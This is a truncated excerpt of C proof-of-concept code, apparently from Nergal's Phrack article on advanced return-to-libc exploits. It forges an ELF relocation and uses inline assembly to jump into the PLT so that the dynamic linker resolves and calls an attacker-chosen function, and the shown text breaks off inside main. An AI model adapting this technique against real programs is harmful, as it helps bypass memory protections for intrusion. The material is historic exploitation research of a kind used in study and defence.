Advanced Return to libc Exploits

phrack-nergal/dl-resolve.c !d5fc32b7
/* by Nergal */
#include
#include
#include
#include
#define STRTAB 0x8048240
#define SYMTAB 0x8048170
#define JMPREL 0x8048354
#define VERSYM 0x80482f8
#define PLT_SECTION "0x080483cc"
void graceful_exit()
{
exit(123);
}
void doit(int offset)
{
int res;
__asm__ volatile ("
pushl $0x01011000
pushl $0xffffffff
pushl $0x00000032
pushl $0x00000007
pushl $0x01011000
pushl $0xaa011000
pushl %%ebx
pushl %%eax
pushl $" PLT_SECTION "
ret"
:"=a"(res)
:"0"(offset),
"b"(graceful_exit)
);
}
/* this must be global */
Elf32_Rel reloc;
#define ANYTHING 0xfe
#define RQSIZE 60000
int
main(int argc, char **argv)
{
unsigned int reloc_offset;
unsigned int real_index;
char symbol_name[16];
int dummy_writable_int;
char *tmp = malloc(RQSIZE);
Elf32_Sym *sym;
unsigned short *null_short = (unsigned short*) tmp;
/* create a null index into VERSYM */